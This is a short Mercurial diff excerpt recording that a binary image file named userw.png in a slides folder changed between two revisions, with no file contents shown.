diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/userw.png
Binary file slides/pics/userw.png has changed